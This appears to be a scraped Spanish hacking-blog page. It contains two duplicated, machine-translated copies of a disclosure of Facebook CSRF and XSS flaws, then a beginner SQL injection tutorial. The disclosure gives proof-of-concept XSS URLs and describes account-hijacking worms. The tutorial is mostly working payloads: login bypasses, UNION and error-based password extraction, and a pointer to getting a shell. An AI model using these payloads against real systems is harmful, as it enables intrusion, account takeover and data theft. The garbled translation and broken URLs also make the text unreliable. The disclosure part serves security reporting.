fonéticamente</div> </div></div></script></div>

Facebook y vulnerabilidades, Gusanos ....

Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red social Facebook es un sitio web de redes sociales con el segundo n...

Facebook y vulnerabilidades, Gusanos ....

<div style="text-align: center;"><img alt="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png" src="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png" style="width: 377px; height: 251px;"> Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red social Facebook es un sitio web de redes sociales con el segundo número más alto de visitas en todo el mundo, y más de 500 millones de usuarios activos. Nuestro equipo recientemente realizó una auditoria de seguridad de la página principal de Facebook junto con sus versiones móviles. Aquí están los detalles de nuestro resultados. I. DESCRIPCIÓN DE LAS VULNERABILIDADES Facebook cuenta con un sistema anti-CSRF basa en dos fichas, respectivamente llamado post_form_id y fb_dtsg. Estas fichas de cambio con frecuencia, y son sin duda basa en varios parámetros como hora del día, el tiempo de creación de la cuenta, identificador de usuario, y muchos otros. La determinación de los valores de estas fichas para un usuario específico, en nuestro punto de vista, imposible. Afortunadamente, Facebook ofrece una funcionalidad llamada "vista previa perfil", permitiendo a los usuarios para ver cómo su propio perfil parece a cualquier otro usuario. Se puede acceder mediante el URL: http://www.facebook.com/profile.php?v=wall&viewas = <viewer_id>. </viewer_id>Y esta función tiene un error. Cuando el usuario conectado permite que cualquier persona Comentario sobre la pared de su (a través de su configuración de privacidad), una forma (al menos) es dado que los usuarios puedan comentar sobre los mensajes publicados. En tal caso, cuando rellenar el parámetro viewas con el id de cualquier usuario, el script devuelve - entre otras cosas - el símbolo post_form_id de este mismo usuario, junto con el formulario necesario para comentar sobre la pared. Por ejemplo, establecer su configuración de privacidad de forma adecuada y va a http://www.facebook.com/profile.php?v=wall&viewas=4 revelará la post_form_id muestra de Mark Zuckerberg. ;-) Este error también se puede encontrar en la alimentación de ajax http://www.facebook.com/ajax/stream/profile.php?__a=1&profile_id = <user_id> y viewer_id = <victim_id>.</victim_id></user_id> Dos inconvenientes: en primer lugar, necesita de la víctima Identificación para recuperar su post_form_id simbólico. Entonces, usted todavía necesita el token fb_dtsg segundo. La primer problema es en realidad un problema fácil de resolver si se utiliza una pequeña falla CSRF situado en la m.facebook.com versión móvil. De hecho, el "Como" script no requiere ningún anti-token CSRF: se puede utilizar en un ataque CSRF para recuperar el nombre, y por lo tanto el ello, de la víctima. Nótese bien : Cuando un usuario inicia sesión en el sitio principal de entonces se registra en cualquier versión para móviles, así que todo es aprovechable en las principales versión. El segundo problema podría haber sido un problema grave si el Facebook equipo no nos había dejado con la posibilidad de enviar solicitudes de amistad sin fb_dtsg símbolo de la touch.facebook.com versión táctil. Nosotros considerar esto como un defecto, ya que muchos pueden hacerse una vez que se amigo con la víctima. Terminamos la descripción de los defectos con nuestros últimos hallazgos, dos XSS fallas ubicadas en cada versión móvil de Facebook, a saber, m.facebook.com y touch.facebook.com. Más precisamente, los guiones son incriminados http://m.facebook.com/l.php?u = adress> <external h=" <hash"> y</external> http://touch.facebook.com/l_warn.php?u = adress> <external h=" <hash">,</external> redirigiendo a los usuarios a la dirección proporcionada externa. Cuando se omite la h parámetro, la secuencia de comandos devuelve una advertencia como la dirección externa, que no está correctamente esterilizado antes de ser enviado de vuelta. Aquí hay dos prueba de concepto URL: http://m.facebook.com/l.php?u=http://ex.xss/ <script> alert ('XSS');</ script> y http://touch.facebook.com/l_warn.php?u=http://ex.xss/ ", alerta <script> ('XSS');</ script> II. IMPACTO DE LAS VULNERABILIDADES El impacto de estas fallas pueden ser enormes. Hemos creado dos diferentes gusanos a fin de demostrar el potencial de estas vulnerabilidades. Estos gusanos se propagan a través tanto de una aplicación de Facebook que silenciosamente cargas un script malicioso externo. El primer gusano se aprovecha de la fallas CSRF sucesivamente recuperar el id y post_form_id de la víctima, y el envío de una solicitud de amigo al atacante a través del tacto la versión de Facebook. El atacante acepta la solicitud (automáticamente), se roba todas las Información personal, publica un mensaje en la pared de la víctima para garantizar la difusión, y elimina su amistad con la víctima. En resumen, este gusano de silencio se recupera toda la información personal sobre la víctima en unos segundos. El segundo gusano es mucho más destructivo: utiliza las fallas de XSS realizar un intento de phishing maliciosos, aprovechándose de la confianza apps.facebook.com URL para engañar a la víctima. La víctima tiene la opción entre dar su contraseña de correo electrónico y hacer clic en un botón ("Cancelar") que lanza una petición que los cambios en su correo electrónico de contacto (Que es posible sin la contraseña del usuario en m.facebook.com), finalmente lugar a la modificación de su contraseña a través del "Contraseña olvidada" procedimiento. Una vez que la contraseña recuperada o modificada, el atacante se registra en la cuenta de la víctima, le roba todo el personal información como mensajes privados, envía un mensaje privado a todos los amigos de la víctima para garantizar la difusión, publica todos los privados Mensajes en la pared de la víctima, que el perfil de la víctima visible para nadie, y, finalmente, borrar todos los datos personales (fotos, privado mensajes, los mensajes de edad). Estos escenarios han sido ilustrados por nuestro equipo en dos videos, en donde hemos simulado la propagación de estos gusanos en una pequeña comunidad. No dude en seguir: Parte I: falla CSRF de seguridad en Facebook | Cómo construir un silencio CSRF gusano http://www.youtube.com/watch?v=T1yAuu2LG_s Parte II: XSS en Facebook | ¿Cómo construir un gusano XSS destructiva http://www.youtube.com/watch?v=s2n668nZR5k III. SOLUCIONES Todas estas deficiencias se han notificado a Facebook. Todos ellos son ahora parches, con excepción de la falla post_form_id en la funcionalidad de vista previa: este defecto ya no es útil ya que Facebook elimina la posibilidad de enviar solicitudes de amistad sin fb_dtsg peón en touch.facebook.com. IV. CRÉDITOS Estas vulnerabilidades han sido descubiertas por John Jean de Wargan Soluciones. Originales de asesoramiento: http://www.wargan.com/facebook-multiple-vulnerabilities-051010.php Siga con nosotros en Twitter @ johnjean No aceptamos ninguna responsabilidad por los daños causados por el uso o mal uso de esta información. Un agradecimiento especial a Alex Rice (Facebook equipo de seguridad) por su amabilidad y capacidad de respuesta.<div id="gt-res-tools" class="g-section" style=""><div style="display: none;" class="gt-icon-c" tabindex="0" id="gt-res-listen">Escuchar</div><div class="gt-icon-c" tabindex="0" style="display: none;" id="gt-res-roman">Leer fonéticamente</div> </div></div></script></div>

Facebook y vulnerabilidades, Gusanos ....

Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red social Facebook es un sitio web de redes sociales con el segundo núme...

Facebook y vulnerabilidades, Gusanos ....

<div style="text-align: center;">Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red social <img alt="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png" src="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png"> Facebook es un sitio web de redes sociales con el segundo número más alto de visitas en todo el mundo, y más de 500 millones de usuarios activos. Nuestro equipo recientemente realizó una auditoria de seguridad de la página principal de Facebook junto con sus versiones móviles. Aquí están los detalles de nuestro resultados. I. DESCRIPCIÓN DE LAS VULNERABILIDADES Facebook cuenta con un sistema anti-CSRF basa en dos fichas, respectivamente llamado post_form_id y fb_dtsg. Estas fichas de cambio con frecuencia, y son sin duda basa en varios parámetros como hora del día, el tiempo de creación de la cuenta, identificador de usuario, y muchos otros. La determinación de los valores de estas fichas para un usuario específico, en nuestro punto de vista, imposible. Afortunadamente, Facebook ofrece una funcionalidad llamada "vista previa perfil", permitiendo a los usuarios para ver cómo su propio perfil parece a cualquier otro usuario. Se puede acceder mediante el URL: http://www.facebook.com/profile.php?v=wall&viewas = <viewer_id>. Y esta función tiene un error. Cuando el usuario conectado permite que cualquier persona Comentario sobre la pared de su (a través de su configuración de privacidad), una forma (al menos) es dado que los usuarios puedan comentar sobre los mensajes publicados. En tal caso, cuando rellenar el parámetro viewas con el id de cualquier usuario, el script devuelve - entre otras cosas - el símbolo post_form_id de este mismo usuario, junto con el formulario necesario para comentar sobre la pared. Por ejemplo, establecer su configuración de privacidad de forma adecuada y va a http://www.facebook.com/profile.php?v=wall&viewas=4 revelará la post_form_id muestra de Mark Zuckerberg. ;-) Este error también se puede encontrar en la alimentación de ajax http://www.facebook.com/ajax/stream/profile.php?__a=1&profile_id = <user_id> y viewer_id = <victim_id>. Dos inconvenientes: en primer lugar, necesita de la víctima Identificación para recuperar su post_form_id simbólico. Entonces, usted todavía necesita el token fb_dtsg segundo. La primer problema es en realidad un problema fácil de resolver si se utiliza una pequeña falla CSRF situado en la m.facebook.com versión móvil. De hecho, el "Como" script no requiere ningún anti-token CSRF: se puede utilizar en un ataque CSRF para recuperar el nombre, y por lo tanto el ello, de la víctima. Nótese bien : Cuando un usuario inicia sesión en el sitio principal de entonces se registra en cualquier versión para móviles, así que todo es aprovechable en las principales versión. El segundo problema podría haber sido un problema grave si el Facebook equipo no nos había dejado con la posibilidad de enviar solicitudes de amistad sin fb_dtsg símbolo de la touch.facebook.com versión táctil. Nosotros considerar esto como un defecto, ya que muchos pueden hacerse una vez que se amigo con la víctima. Terminamos la descripción de los defectos con nuestros últimos hallazgos, dos XSS fallas ubicadas en cada versión móvil de Facebook, a saber, m.facebook.com y touch.facebook.com. Más precisamente, los guiones son incriminados http://m.facebook.com/l.php?u = adress> <external & h = <hash> y http://touch.facebook.com/l_warn.php?u = adress> <external & h = <hash>, redirigiendo a los usuarios a la dirección proporcionada externa. Cuando se omite la h parámetro, la secuencia de comandos devuelve una advertencia como la dirección externa, que no está correctamente esterilizado antes de ser enviado de vuelta. Aquí hay dos prueba de concepto URL: http://m.facebook.com/l.php?u=http://ex.xss/ <script> alert ('XSS');</ script> y http://touch.facebook.com/l_warn.php?u=http://ex.xss/ ", alerta <script> ('XSS');</ script> II. IMPACTO DE LAS VULNERABILIDADES El impacto de estas fallas pueden ser enormes. Hemos creado dos diferentes gusanos a fin de demostrar el potencial de estas vulnerabilidades. Estos gusanos se propagan a través tanto de una aplicación de Facebook que silenciosamente cargas un script malicioso externo. El primer gusano se aprovecha de la fallas CSRF sucesivamente recuperar el id y post_form_id de la víctima, y el envío de una solicitud de amigo al atacante a través del tacto la versión de Facebook. El atacante acepta la solicitud (automáticamente), se roba todas las Información personal, publica un mensaje en la pared de la víctima para garantizar la difusión, y elimina su amistad con la víctima. En resumen, este gusano de silencio se recupera toda la información personal sobre la víctima en unos segundos. El segundo gusano es mucho más destructivo: utiliza las fallas de XSS realizar un intento de phishing maliciosos, aprovechándose de la confianza apps.facebook.com URL para engañar a la víctima. La víctima tiene la opción entre dar su contraseña de correo electrónico y hacer clic en un botón ("Cancelar") que lanza una petición que los cambios en su correo electrónico de contacto (Que es posible sin la contraseña del usuario en m.facebook.com), finalmente lugar a la modificación de su contraseña a través del "Contraseña olvidada" procedimiento. Una vez que la contraseña recuperada o modificada, el atacante se registra en la cuenta de la víctima, le roba todo el personal información como mensajes privados, envía un mensaje privado a todos los amigos de la víctima para garantizar la difusión, publica todos los privados Mensajes en la pared de la víctima, que el perfil de la víctima visible para nadie, y, finalmente, borrar todos los datos personales (fotos, privado mensajes, los mensajes de edad). Estos escenarios han sido ilustrados por nuestro equipo en dos videos, en donde hemos simulado la propagación de estos gusanos en una pequeña comunidad. No dude en seguir: Parte I: falla CSRF de seguridad en Facebook | Cómo construir un silencio CSRF gusano http://www.youtube.com/watch?v=T1yAuu2LG_s Parte II: XSS en Facebook | ¿Cómo construir un gusano XSS destructiva http://www.youtube.com/watch?v=s2n668nZR5k III. SOLUCIONES Todas estas deficiencias se han notificado a Facebook. Todos ellos son ahora parches, con excepción de la falla post_form_id en la funcionalidad de vista previa: este defecto ya no es útil ya que Facebook elimina la posibilidad de enviar solicitudes de amistad sin fb_dtsg peón en touch.facebook.com. IV. CRÉDITOS Estas vulnerabilidades han sido descubiertas por John Jean de Wargan Soluciones. Originales de asesoramiento: http://www.wargan.com/facebook-multiple-vulnerabilities-051010.php Siga con nosotros en Twitter @ johnjean No aceptamos ninguna responsabilidad por los daños causados por el uso o mal uso de esta información. Un agradecimiento especial a Alex Rice (Facebook equipo de seguridad) por su amabilidad y capacidad de respuesta.<div id="gt-res-tools" class="g-section" style=""><div style="display: none;" class="gt-icon-c" tabindex="0" id="gt-res-listen">Escuchar</div><div class="gt-icon-c" tabindex="0" style="display: none;" id="gt-res-roman">Leer fonéticamente</div> </div></div>

Facebook y vulnerabilidades, Gusanos ....

Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red social Facebook es un sitio web de redes sociales con el segundo núme...

Sql Injection tutorial

<div style="text-align: center;"><img alt="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF977IXpA4iipYvECTFpMLwUrRpyCxbSdQyoM7-KRsHczOXrsGVcb-JzE8QSoVUPQVc9EOfhmcqWPI7t90BrYwuaGwtrVx_MN-wB4-G4Ex2zVQgky0rvsPHd66k_hIWIIHVnzfVkGiE9Cf/s400/sql_injection.jpg" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF977IXpA4iipYvECTFpMLwUrRpyCxbSdQyoM7-KRsHczOXrsGVcb-JzE8QSoVUPQVc9EOfhmcqWPI7t90BrYwuaGwtrVx_MN-wB4-G4Ex2zVQgky0rvsPHd66k_hIWIIHVnzfVkGiE9Cf/s400/sql_injection.jpg" /> les dejo un buen tutorial de SQL injection para los que empiezan con el hacking avanzado. Tambien les recomiendo el texto de hernan raciatti que tien en su web pueden encontrarlo en goole es bien completo y basico para comenzar . Tutorial de Inyección SQL. (SQL Injection) Extraido de el foro <a href="http://foro.elhacker.net/" target="_blank">http://foro.elhacker.net</a> Por SirDarckCat La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación. ATENCIÓN Para poder explotar con exito una falla de inyección SQL es necesario que sepan con anterioridad el lenguaje. información sobre su implementación en PHP se puede encontrar en <a href="http://php.net/mysql" target="_blank">http://php.net/mysql</a> <a href="http://dev.mysql.com/" target="_blank">http://dev.mysql.com/</a> Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas. Ejemplo 1 Código: Código:<div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">$us=$_POST['usuario']; $pass=$_POST['pass']; $sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";</pre></div> -- código largo cortado -- Código: if(mysql_fetch_array($exc)){ echo "Inicio de sesión correcto"; // Esto fue modificado } Este es el tipico sistema de verificacion de contraseñas.. utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), así que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false <img alt="Tongue" border="0" src="http://hdlsec.com/foro/Smileys/classic/tongue.gif" />. como podemos hacer que no devuelva false?? * Con el password correcto * Haciendo trampa Logicamente, no usaremos la primera opción xD Haciendo trampa.. se haria algo así: esta es la petición que solo nos deja pasar si sabesmos el pass.. <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'</pre></div> ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us? Supongamos que ponemos de usuario Pegaso, y de password pjps. El usuario existe, pero no sabemos el pass.. la sentencia que SQL recibira sera: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'</pre></div> y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false <img alt="Sad" border="0" src="http://hdlsec.com/foro/Smileys/classic/sad.gif" /> Ahora, con un poco de creatividad: de usuario: Pegaso de password: ' OR ''=' la sentencia SQL recibira: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''</pre></div> nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso. Otros posibles valores que devuelven true son: * usuario: Pegaso AND /* password: */ ''=' * usuario: ' OR 1=1 // Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta encriptado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo Ejemplo 2 Código: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">$us=$_POST[‘usuario’]; $pas=$_POST[‘pass’]; if($_GET['usuario'] || $_GET['pass']){ die("Hack Attempt"); } $sql="SELECT password FROM usuarios WHERE user = '$us'"; </pre></div>-- código largo cortado -- Código: <div style="color: rgb(255, 0, 0);" class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">$resp = mysql_query($sql) or die(mysql_error()); if(mysql_fetch_array($resp)){ if($resp==$pas){ echo "Inicio de sesión exitoso"; // Esto fue modificado }else{ echo "el password $resp es incorrecto"; } }</pre></div> Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable? SI, ¿porque? Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc.. el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada. Ahora, queremos sacar el password.. pero.. ¿como? Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o.. Bueno.. UNION necesita algunos requisitos. * Necesitas meter la misma cantidad de valores que tiene la tabla. * Tener un informe de los errores que provocaremos en la instrucción Bien ahora empezemos. la instrucción a modificar es la siguiente: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">SELECT password FROM usuarios WHERE user = '$us'</pre></div> como ejemplo, si colocalmos de usuario: zanahoria la instrucción que llega seria: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">SELECT password FROM usuarios WHERE user = 'zanahoria'</pre></div> Otra vez necesitamos creatividad <img alt="Cheesy" border="0" src="http://hdlsec.com/foro/Smileys/classic/cheesy.gif" /> regresemos al UNION. UNION necesita que el numero de columnas sea igual, sino sacara un error. y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien. el UNION se usa de esta forma: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">usuario: ' AND 0 UNION SELECT 1 AND 'l'=' SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''</pre></div> para lo cual SQL nos respondera: Citar<div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''</pre></div> Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras) Quedaria algo así: <div class="codeheader">Código:</div><div class="code"><pre style="margin-top: 0pt; display: inline;">' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria </pre></div>la sentencia seria esta: <div class="codeheader">Código:</div><div class="code"><pre style="margin-top: 0pt; display: inline;">SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password) ,2,3,4,5 FROM usuarios WHERE user = 'zanahoria' </pre></div>que nos da como error: Citar <div class="quoteheader">Citar</div><div class="quote">Syntax error converting the varchar value 'naranja' to a column of data type int.</div> donde el password es naranja <img alt="Cool" border="0" src="http://hdlsec.com/foro/Smileys/classic/cool.gif" /> <img alt="Cool" border="0" src="http://hdlsec.com/foro/Smileys/classic/cool.gif" /> Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..). el siguiente es un ejemplo, con la misma sentencia usuario: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='</pre></div> y nos regresa: Citar <div class="quoteheader">Citar</div><div style="color: rgb(255, 0, 0);" class="quote">Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'</div> que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos así: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='</pre></div> y eso nos regresa: Citar <div class="quoteheader">Citar</div><div class="quote">root@localhost</div> esto, no es todo, con hacer que regrese valores con '', podemos incluso crearnos nuestra shell. Para ver el metodo completo de acidbits, da click aquí. Ejercicio <img alt="Smiley" border="0" src="http://hdlsec.com/foro/Smileys/classic/smiley.gif" />: ¿Que puedes hacer con esta sentencia? Código: <div style="color: rgb(255, 0, 0);" class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">$sql="UPDATE clicks set dat=now(), aas=aas+1 where ref='$HTTPREFFERER'"; $resp = mysql_query($sql) or die(mysql_error());</pre></div> Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica. </div>

Sql Injection tutorial

les dejo un buen tutorial de SQL injection para los que empiezan con el hacking avanzado. Tambien les recomiendo el texto de hernan raciatt...